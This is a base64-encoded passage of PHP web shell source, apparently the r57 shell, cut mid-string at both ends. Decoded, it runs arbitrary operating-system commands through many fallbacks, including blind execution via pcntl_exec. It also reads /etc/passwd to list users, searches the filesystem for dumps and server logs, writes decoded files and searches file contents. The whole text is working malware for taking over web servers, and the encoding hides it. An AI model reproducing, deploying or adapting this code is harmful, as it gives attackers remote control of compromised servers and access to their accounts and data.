tcCogZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC8gLXR5cGUgZiAtbmFtZSAiKmR1bXAqIiA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+JycsCidmaW5kIC92YXIvIGFjY2Vzc19sb2cgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgYWNjZXNzX2xvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2ZpbmQgL3Zhci8gZXJyb3JfbG9nIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lIGVycm9yX2xvZyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0JywKJ2ZpbmQgL3Zhci8gYWNjZXNzLmxvZyBmaWxlcyA+PiAvdG1wL2dyZXAudHh0O2NhdCAvdG1wL2dyZXAudHh0Jz0+J2ZpbmQgL3Zhci8gLXR5cGUgZiAtbmFtZSBhY2Nlc3MubG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCAvdmFyLyBlcnJvci5sb2cgZmlsZXMgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCc9PidmaW5kIC92YXIvIC10eXBlIGYgLW5hbWUgZXJyb3IubG9nID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnLAonZmluZCAvdmFyLyAiKi5sb2ciIGZpbGVzID4+IC90bXAvZ3JlcC50eHQ7Y2F0IC90bXAvZ3JlcC50eHQnPT4nZmluZCAvdmFyLyAtdHlwZSBmIC1uYW1lICIqLmxvZyIgPj4gL3RtcC9ncmVwLnR4dDtjYXQgL3RtcC9ncmVwLnR4dCcsCictLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJz0+J2xzIC1sYScKKTsKJHRhYmxlX3VwMSAgPSAiPHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXI+OjogIjsKJHRhYmxlX3VwMiAgPSAiIDo6PC9kaXY+PC9iPjwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD4iOwokdGFibGVfdXAzICA9ICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPiI7CiR0YWJsZV9lbmQxID0gIjwvdGQ+PC90cj4iOwokYXJyb3cgPSAiIDxmb250IGZhY2U9V2ViZGluZ3MgY29sb3I9Z3JheT40PC9mb250PiI7CiRsYiA9ICI8Zm9udCBjb2xvcj1ibGFjaz5bPC9mb250PiI7CiRyYiA9ICI8Zm9udCBjb2xvcj1ibGFjaz5dPC9mb250PiI7CiRmb250ID0gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiI7CiR0cyA9ICI8dGFibGUgY2xhc3M9dGFibGUxIHdpZHRoPTEwMCUgYWxpZ249Y2VudGVyPiI7CiR0ZSA9ICI8L3RhYmxlPiI7CiRmcyA9ICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsKJGZlID0gIjwvZm9ybT4iOwoKaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKQogewogaWYoISR1c2Vycz1nZXRfdXNlcnMoJy9ldGMvcGFzc3dkJykpIHsgZWNobyAiPGNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0KIGVsc2UKICB7CiAgZWNobyAnPGNlbnRlcj4nOwogIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKSB7IGVjaG8gJHVzZXIuIjxicj4iOyB9CiAgZWNobyAnPC9jZW50ZXI+JzsKICB9CiBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsKIH0KCmlmICghZW1wdHkoJF9QT1NUWydkaXInXSkpIHsgaWYoQGZ1bmN0aW9uX2V4aXN0cygnY2hkaXInKSl7QGNoZGlyKCRfUE9TVFsnZGlyJ10pO30gZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdjaHJvb3QnKSl7IEBjaHJvb3QoJF9QT1NUWydkaXInXSk7fTsgfQppZiAoZW1wdHkoJF9QT1NUWydkaXInXSkpe2lmKEBmdW5jdGlvbl9leGlzdHMoJ2NoZGlyJykpeyRkaXIgPSBAZ2V0Y3dkKCk7fTt9ZWxzZXskZGlyPSRfUE9TVFsnZGlyJ107fQokdW5peCA9IDA7CmlmKHN0cmxlbigkZGlyKT4xICYmICRkaXJbMV09PSI6IikgJHVuaXg9MDsgZWxzZSAkdW5peD0xOwppZihlbXB0eSgkZGlyKSkKIHsKICRvcyA9IGdldGVudignT1MnKTsKIGlmKGVtcHR5KCRvcykpeyAkb3MgPSBAcGhwX3VuYW1lKCk7IH0KIGlmKGVtcHR5KCRvcykpeyAkb3MgPSItIjsgJHVuaXg9MTsgfQogZWxzZQogICAgewogICAgaWYoQGVyZWdpKCJed2luIiwkb3MpKSB7ICR1bml4ID0gMDsgfQogICAgZWxzZSB7ICR1bml4ID0gMTsgfQogICAgfQogfQoKaWYoIWVtcHR5KCRfUE9TVFsnc19kaXInXSkgJiYgIWVtcHR5KCRfUE9TVFsnc190ZXh0J10pICYmICFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJzZWFyY2hfdGV4dCIpCiAgewogICAgZWNobyAkaGVhZDsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NfbWFzayddKSAmJiAhZW1wdHkoJF9QT1NUWydtJ10pKSB7ICRzciA9IG5ldyBTZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10sJF9QT1NUWydzX21hc2snXSk7IH0KICAgIGVsc2UgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwkX1BPU1RbJ3NfdGV4dCddKTsgfQogICAgJHNyLT5TZWFyY2hUZXh0KDAsMCk7CiAgICAkcmVzID0gJHNyLT5HZXRSZXN1bHRGaWxlcygpOwogICAgJGZvdW5kID0gJHNyLT5HZXRNYXRjaGVzQ291bnQoKTsKICAgICR0aXRsZXMgPSAkc3ItPkdldFRpdGxlcygpOwogICAgJHIgPSAiIjsKICAgIGlmKCRmb3VuZCA+IDApCiAgICB7CiAgICAgICRyIC49ICI8VEFCTEUgd2lkdGg9MTAwJT4iOwogICAgICBmb3JlYWNoKCRyZXMgYXMgJGZpbGU9PiR2KQogICAgICB7CiAgICAgICAgJHIgLj0gIjxUUj4iOwogICAgICAgICRyIC49ICI8VEQgY29sc3Bhbj0yPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIud3MoMyk7CiAgICAgICAgJHIgLj0gKCEkdW5peCk/IHN0cl9yZXBsYWNlKCIvIiwiXFwiLCRmaWxlKSA6ICRmaWxlOwogICAgICAgICRyIC49ICI8L2I+PC9mb250PjwvIFREPiI7CiAgICAgICAgJHIgLj0gIjwvVFI+IjsKICAgICAgICBmb3JlYWNoKCR2IGFzICRhPT4kYikKICAgICAgICB7CiAgICAgICAgICAkciAuPSAiPFRSPiI7CiAgICAgICAgICAkciAuPSAiPFREIGFsaWduPWNlbnRlcj48Qj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLiRhLiI8L2ZvbnQ+PC9CPjwvVEQ+IjsKICAgICAgICAgICRyIC49ICI8VEQ+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii53cygyKS4kYi4iPC9mb250PjwvVEQ+IjsKICAgICAgICAgICRyIC49ICI8L1RSPlxuIjsKICAgICAgICB9CiAgICAgIH0KICAgICAgJHIgLj0gIjwvVEFCTEU+IjsKICAgIGVjaG8gJHI7CiAgICB9CiAgICBlbHNlCiAgICB7CiAgICAgIGVjaG8gIjxQIGFsaWduPWNlbnRlcj48Qj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NiddLiI8L0I+PC9mb250PjwvUD4iOwogICAgfQogIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7CiAgZGllKCk7CiAgfQoKaWYoISRzYWZlX21vZGUgJiYgc3RycG9zKGV4KCJlY2hvIGFiY3I1NyIpLCJyNTciKSE9MykgeyAkc2FmZV9tb2RlID0gMTsgfQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09GVFdBUkUnKTsKaWYoZW1wdHkoJFNFUlZFUl9TT0ZUV0FSRSkpeyAkU0VSVkVSX1NPRlRXQVJFID0gIi0iOyB9CmZ1bmN0aW9uIHdzKCRpKQp7CnJldHVybiBAc3RyX3JlcGVhdCgiJm5ic3A7IiwkaSk7Cn0KZnVuY3Rpb24gZXgoJGNmZSkKewogJHJlcyA9ICcnOwogaWYgKCFlbXB0eSgkY2ZlKSkKIHsKICBpZihAZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpCiAgIHsKICAgIEBleGVjKCRjZmUsJHJlcyk7CiAgICAkcmVzID0gam9pbigiXG4iLCRyZXMpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkKICAgewogICAgJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKQogICB7CiAgICBAb2Jfc3RhcnQoKTsKICAgIEBzeXN0ZW0oJGNmZSk7CiAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOwogICAgQG9iX2VuZF9jbGVhbigpOwogICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpCiAgIHsKICAgIEBvYl9zdGFydCgpOwogICAgQHBhc3N0aHJ1KCRjZmUpOwogICAgJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsKICAgIEBvYl9lbmRfY2xlYW4oKTsKICAgfQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkKICB7CiAgICRyZXMgPSAiIjsKICAgaWYoQGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpewogICAgd2hpbGUoIUBmZW9mKCRmKSkgeyAkcmVzIC49IEBmcmVhZCgkZiwxMDI0KTsgfQogICB9ZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSl7CiAgICB3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZnZXRzKCRmLDEwMjQpOyB9CiAgIH0KICAgQHBjbG9zZSgkZik7CiAgfQogIGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcHJvY19vcGVuKCRjZmUsYXJyYXkoMSA9PiBhcnJheSgicGlwZSIsICJ3IikpLCRwaXBlcykpKQogIHsKICAgJHJlcyA9ICIiOwogICBpZihAZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSl7CiAgICB3aGlsZSghQGZlb2YoJHBpcGVzWzFdKSkgeyRyZXMgLj0gQGZyZWFkKCRwaXBlc1sxXSwgMTAyNCk7fQogICB9ZWxzZSBpZihAZnVuY3Rpb25fZXhpc3RzKCdmZ2V0cycpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSl7CiAgICB3aGlsZSghQGZlb2YoJHBpcGVzWzFdKSkgeyRyZXMgLj0gQGZnZXRzKCRwaXBlc1sxXSwgMTAyNCk7fQogICB9CiAgIEBwcm9jX2Nsb3NlKCRmKTsKICB9CiAgZWxzZWlmKEBmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2V4ZWMnKSYmQGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKQogICB7CiAgICAkcmVzID0gJ1t+XSBCbGluZCBDb21tYW5kIEV4ZWN1dGlvbiB2aWEgW3BjbnRsX2V4ZWNdXG5cbic7CiAgICAkcGlkID0gQHBjbnRsX2ZvcmsoKTsKICAgIGlmICgkcGlkID09IC0xKSB7CiAgICAgJHJlcyAuPSAnWy1dIENvdWxkIG5vdCBjaGlsZHJlbiBmb3JrLiBFeGl0JzsKICAgIH0gZWxzZSBpZiAoJHBpZCkgewogICAgICAgICBpZiAoQHBjbnRsX3dpZmV4aXRlZCgkc3RhdHVzKSl7JHJlcyAuPSAnWytdIERvbmUhIENvbW1hbmQgIicuJGNmZS4nIiBzdWNjZXNzZnVsbHkgZXhlY3V0ZWQuJzt9CiAgICAgICAgIGVsc2UgeyRyZXMgLj0gJ1stXSBFcnJvci4gQ29tbWFuZCBpbmNvcnJlY3QuJzt9CiAgICB9IGVsc2UgewogICAgICAgICAkY2ZlID0gYXJyYXkoIiAtZSAnc3lzdGVtKFwiJGNmZVwiKSciKTsKICAgICAgICAgaWYoQHBjbnRsX2V4ZWMoJy91c3IvYmluL3BlcmwnLCRjZmUpKSBleGl0KDApOwogICAgICAgICBpZihAcGNudGxfZXhlYygnL3Vzci9sb2NhbC9iaW4vcGVybCcsJGNmZSkpIGV4aXQoMCk7CiAgICAgICAgIGRpZSgpOwogICAgfQogICB9CiB9CiByZXR1cm4gJHJlczsKfQpmdW5jdGlvbiBnZXRfdXNlcnMoJGZpbGVuYW1lKQp7CiAgJHVzZXJzID0gYXJyYXkoKTsKICAkcm93cz1AZXhwbG9kZSgiXG4iLHJlYWR6bGliKCRmaWxlbmFtZSkpOwogIGlmKCEkcm93cykgcmV0dXJuIDA7CiAgZm9yZWFjaCAoJHJvd3MgYXMgJHN0cmluZykKICAgewogICAkdXNlciA9IEBleHBsb2RlKCI6Iix0cmltKCRzdHJpbmcpKTsKICAgaWYoc3Vic3RyKCRzdHJpbmcsMCwxKSE9JyMnKSBhcnJheV9wdXNoKCR1c2VycywkdXNlclswXSk7CiAgIH0KICByZXR1cm4gJHVzZXJzOwp9CmZ1bmN0aW9uIGVycigkbiwkdHh0PScnKQp7CmVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48Zm9udCBjb2xvcj1yZWQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+JzsKZWNobyAkR0xPQkFMU1snbGFuZyddWyRHTE9CQUxTWydsYW5ndWFnZSddLidfZXJyJy4kbl07CmlmKCFlbXB0eSgkdHh0KSkgeyBlY2hvICIgJHR4dCI7IH0KZWNobyAnPC9iPjwvZGl2PjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4nOwpyZXR1cm4gbnVsbDsKfQpmdW5jdGlvbiBwZXJtcygkbW9kZSkKewppZiAoISRHTE9CQUxTWyd1bml4J10pIHJldHVybiAwOwppZiggJG1vZGUgJiAweDEwMDAgKSB7ICR0eXBlPSdwJzsgfQplbHNlIGlmKCAkbW9kZSAmIDB4MjAwMCApIHsgJHR5cGU9J2MnOyB9CmVsc2UgaWYoICRtb2RlICYgMHg0MDAwICkgeyAkdHlwZT0nZCc7IH0KZWxzZSBpZiggJG1vZGUgJiAweDYwMDAgKSB7ICR0eXBlPSdiJzsgfQplbHNlIGlmKCAkbW9kZSAmIDB4ODAwMCApIHsgJHR5cGU9Jy0nOyB9CmVsc2UgaWYoICRtb2RlICYgMHhBMDAwICkgeyAkdHlwZT0nbCc7IH0KZWxzZSBpZiggJG1vZGUgJiAweEMwMDAgKSB7ICR0eXBlPSdzJzsgfQplbHNlICR0eXBlPSd1JzsKJG93bmVyWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDQwMCkgPyAncicgOiAnLSc7CiRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKSA/ICd3JyA6ICctJzsKJG93bmVyWyJleGVjdXRlIl0gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7CiRncm91cFsicmVhZCJdID0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOwokZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7CiRncm91cFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOwokd29ybGRbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDA0KSA/ICdyJyA6ICctJzsKJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpID8gJ3cnIDogJy0nOwokd29ybGRbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsKaWYoICRtb2RlICYgMHg4MDAgKSAkb3duZXJbImV4ZWN1dGUiXSA9ICgkb3duZXJbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsKaWYoICRtb2RlICYgMHg0MDAgKSAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzsKaWYoICRtb2RlICYgMHgyMDAgKSAkd29ybGRbImV4ZWN1dGUiXSA9ICgkd29ybGRbJ2V4ZWN1dGUnXT09J3gnKSA/ICd0JyA6ICdUJzsKJHM9c3ByaW50ZigiJTFzIiwgJHR5cGUpOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJG93bmVyWydyZWFkJ10sICRvd25lclsnd3JpdGUnXSwgJG93bmVyWydleGVjdXRlJ10pOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJGdyb3VwWydyZWFkJ10sICRncm91cFsnd3JpdGUnXSwgJGdyb3VwWydleGVjdXRlJ10pOwokcy49c3ByaW50ZigiJTFzJTFzJTFzIiwgJHdvcmxkWydyZWFkJ10sICR3b3JsZFsnd3JpdGUnXSwgJHdvcmxkWydleGVjdXRlJ10pOwpyZXR1cm4gdHJpbSgkcyk7Cn0KZnVuY3Rpb24gaW4oJHR5cGUsJG5hbWUsJHNpemUsJHZhbHVlLCRjaGVja2VkPTApCnsKICRyZXQgPSAiPGlucHV0IHR5cGU9Ii4kdHlwZS4iIG5hbWU9Ii4kbmFtZS4iICI7CiBpZigkc2l6ZSAhPSAwKSB7ICRyZXQgLj0gInNpemU9Ii4kc2l6ZS4iICI7IH0KICRyZXQgLj0gInZhbHVlPVwiIi4kdmFsdWUuIlwiIjsKIGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7CiByZXR1cm4gJHJldC4iPiI7Cn0KZnVuY3Rpb24gd2hpY2goJHByKQp7CiRwYXRoID0gJyc7CiRwYXRoID0gZXgoIndoaWNoICRwciIpOwppZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuIGZhbHNlOyB9Cn0KZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0KQp7CiAkd19maWxlPUBmb3BlbigkZm5hbWUsInciKSBvciBAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpIG9yIGVycigwKTsKIGlmKCR3X2ZpbGUpCiB7CiBAZndyaXRlKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKSBvciBAZnB1dHMoJHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZm5hbWUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKIEBmY2xvc2UoJHdfZmlsZSk7CiB9Cn0KZnVuY3Rpb24gc3IoJGwsJHQxLCR0MikKIHsKIHJldHVybiAiPHRyIGNsYXNzPXRyMT48dGQgY2xhc3M9dGQxIHdpZHRoPSIuJGwuIiUgYWxpZ249cmlnaHQ+Ii4kdDEuIjwvdGQ+PHRkIGNsYXNzPXRkMSBhbGlnbj1sZWZ0PiIuJHQyLiI8L3RkPjwvdHI+IjsKIH0KaWYgKCFAZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkKewpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpCnsKIGlmKCRzaXplID49IDEwNzM3NDE4MjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gIiBHQiI7fQogZWxzZWlmKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gIiBNQiI7fQogZWxzZWlmKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gIiBLQiI7fQogZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogcmV0dXJuICRzaXplOwp9Cn0KICBmdW5jdGlvbiBEaXJGaWxlc1IoJGRpciwkdHlwZXM9JycpCiAgewogICAgJGZpbGVzID0gQXJyYXkoKTsKICAgIGlmKCgkaGFuZGxlID0gQG9wZW5kaXIoJGRpcikpIHx8IChAZnVuY3Rpb25fZXhpc3RzKCdzY2FuZGlyJykpKQogICAgewogICAgICB3aGlsZSAoKGZhbHNlICE9PSAoJGZpbGUgPSBAcmVhZGRpcigkaGFuZGxlKSkpICYmIChmYWxzZSAhPT0gKCRmaWxlID0gQHNjYW5kaXIoJGRpcikpKSkKICAgICAgewogICAgICAgIGlmICgkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikKICAgICAgICB7CiAgICAgICAgICBpZihAaXNfZGlyKCRkaXIuIi8iLiRmaWxlKSkKICAgICAgICAgICAgJGZpbGVzID0gQGFycmF5X21lcmdlKCRmaWxlcyxEaXJGaWxlc1IoJGRpci4iLyIuJGZpbGUsJHR5cGVzKSk7CiAgICAgICAgICBlbHNlCiAgICAgICAgICB7CiAgICAgICAgICAgICRwb3MgPSBAc3RycnBvcygkZmlsZSwiLiIpOwogICAgICAgICAgICAkZXh0ID0gQHN1YnN0cigkZmlsZSwkcG9zLEBzdHJsZW4oJGZpbGUpLSRwb3MpOwogICAgICAgICAgICBpZigkdHlwZXMpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICBpZihAaW5fYXJyYXkoJGV4dCxleHBsb2RlKCc7JywkdHlwZXMpKSkKICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpci4iLyIuJGZpbGU7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9CiAgICAgIEBjbG9zZWRpcigkaGFuZGxlKTsKICAgIH0KICAgIHJldHVybiAkZmlsZXM7CiAgfQogIGNsYXNzIFNlYXJjaFJlc3VsdAogIHsKICAgIHZhciAkdGV4dDsKICAgIHZhciAkRmlsZXNUb1NlYXJjaDsKICAgIHZhciAkUmVzdWx0RmlsZXM7CiAgICB2YXIgJEZpbGVzVG90YWw7CiAgICB2YXIgJE1hdGNoZXNDb3VudDsKICAgIHZhciAkRmlsZU1hdHNjaGVzQ291bnQ7CiAgICB2YXIgJFRpbWVTdGFydDsKICAgIHZhciAkVGltZVRvdGFsOwogICAgdmFyICR0aXRsZXM7CiAgICBmdW5jdGlvbiBTZWFyY2hSZXN1bHQoJGRpciwkdGV4dCwkZmlsdGVyPScnKQogICAgewogICAgICAkZGlycyA9IEBleHBsb2RlKCI7IiwkZGlyKTsKICAgICAgJHRoaXMtPkZpbGVzVG9TZWFyY2ggPSBBcnJheSgpOwogICAgICBmb3IoJGE9MDskYTxjb3VudCgkZGlycyk7JGErKykKICAgICAgICAkdGhpcy0+RmlsZXNUb1NlYXJjaCA9IEBhcnJheV9tZXJnZSgkdGhpcy0+RmlsZXNUb1NlYXJjaCxEaXJGaWxlc1IoJGRpcnNbJGFdLCRmaWx0ZXIpKTsKICAgICAgJHRoaXMtPnRleHQgPSAkdGV4dDsKICAgICAgJHRoaXMtPkZpbGVzVG90YWwgPSBAY291bnQoJHRoaXMtPkZpbGVzVG9TZWFyY2gpOwogICAgICAkdGhpcy0+VGltZVN0YXJ0ID0gZ2V0bWljcm90aW1lKCk7CiAgICAgICR0aGlzLT5NYXRjaGVzQ291bnQgPSAwOwogICAgICAkdGhpcy0+UmVzdWx0RmlsZXMgPSBBcnJheSgpOwogICAgICAkdGhpcy0+RmlsZU1hdGNoZXNDb3VudCA9IEFycmF5KCk7CiAgICAgICR0aGlzLT50aXRsZXMgPSBBcnJheSgpOwogICAgfQogICAgZnVuY3Rpb24gR2V0RmlsZXNUb3RhbCgpIHsgcmV0dXJuICR0aGlzLT5GaWxlc1RvdGFsOyB9CiAgICBmdW5jdGlvbiBHZXRUaXRsZXMoKSB7IHJldHVybiAkdGhpcy0+dGl0bGVzOyB9CiAgICBmdW5jdGlvbiBHZXRUaW1lVG90YWwoKSB7IHJldHVybiAkdGhpcy0+VGltZVRvdGFsOyB9CiAgICBmdW5jdGlvbiBHZXRNYXRjaGVzQ291bnQoKSB7IHJldHVybiAkdGhpcy0+TWF0Y2hlc0NvdW50OyB9CiAgICBmdW5jdGlvbiBHZXRGaWxlTWF0Y2hlc0NvdW50KCkgeyByZXR1cm4gJHRoaXMtPkZpbGVNYXRjaGVzQ291bnQ7IH0KICAgIGZ1bmN0aW9uIEdldFJlc3VsdEZpbGVzKCkgeyByZXR1cm4gJHRoaXMtPlJlc3VsdEZpbGVzOyB9CiAgICBmdW5jdGlvbiBTZWFyY2hUZXh0KCRwaHJhc2U9MCwkY2FzZT0wKSB7CiAgICAkcXEgPSBAZXhwbG9kZSgnICcsJHRoaXMtPnRleHQpOwogICAgJGRlbGltID0gJ3wnOwogICAgICBpZigkcGhyYXNlKQogICAgICAgIGZvcmVhY2goJHFxIGFzICRrPT4kdikKICAgICAgICAgICRxcVska10gPSAnXGInLiR2LidcYic7CiAgICAgICR3b3JkcyA9ICcoJy5AaW1wbG9kZSgkZGVsaW0sJHFxKS4nKSc7CiAgICAgICRwYXR0ZXJuID0gIi8iLiR3b3Jkcy4iLyI7CiAgICAgIGlmKCEkY2FzZSkKICAgICAgICAkcGF0dGVybiAuPSAnaSc7CiAgICAgIGZvcmVhY2goJHRoaXMtPkZpbGVzVG9TZWFyY2ggYXMgJGs9PiRmaWxlbmFtZSkKICAgICAgewogICAgICAgICR0aGlzLT5GaWxlTWF0Y2hlc0NvdW50WyRmaWxlbmFtZV0gPSAwOwogICAgICAgICRGaWxlU3RyaW5ncyA9IEBmaWxlKCRmaWxlbmFtZSkgb3IgQG5leHQ7CiAgICAgICAgZm9yKCRhPTA7JGE8QGNvdW50KCRGaWxlU3RyaW5ncyk7JGErKykKICAgICAgICB7CiAgICAgICAgICAkY291bnQgPSAwOwogICAgICAgICAgJEN1clN0cmluZyA9ICRGaWxlU3RyaW5nc1skYV07CiAgICAgICAgICAkQ3VyU3RyaW5nID0gQFRyaW0oJEN1clN0cmluZyk7CiAgICAgICAgICAkQ3VyU3RyaW5nID0gQHN0cmlwX3RhZ3MoJEN1clN0cmluZyk7CiAgICAgICAgICAkYWEgPSAnJzsKICAgICAgICAgIGlmKCgkY291bnQgPSBAcHJlZ19tYXRjaF9hbGwoJHBhdHRlcm4sJEN1clN0cmluZywkYWEpKSkKICAgICAgICAgIHsKICAgICAgICAgICAgJEN1clN0cmluZyA9IEBwcmVnX3JlcGxhY2UoJHBhdHRlcm4sIjxTUEFOIHN0eWxlPSdjb2xvcjogIzk5MDAwMDsnPjxiPlxcMTwvYj48L1NQQU4+IiwkQ3VyU3RyaW5nKTsKICAgICAgICAgICAgJHRoaXMtPlJlc3VsdEZpbGVzWyRmaWxlbmFtZV1bJGErMV0gPSAkQ3VyU3RyaW5nOwogICAgICAgICAgICAkdGhpcy0+TWF0Y2hlc0NvdW50ICs9ICRjb3VudDsKICAgICAgICAgICAgJHRoaXMtPkZpbGVNYXRjaGVzQ291bnRbJGZpbGVuYW1lXSArPSAkY291bnQ7CiAgICAg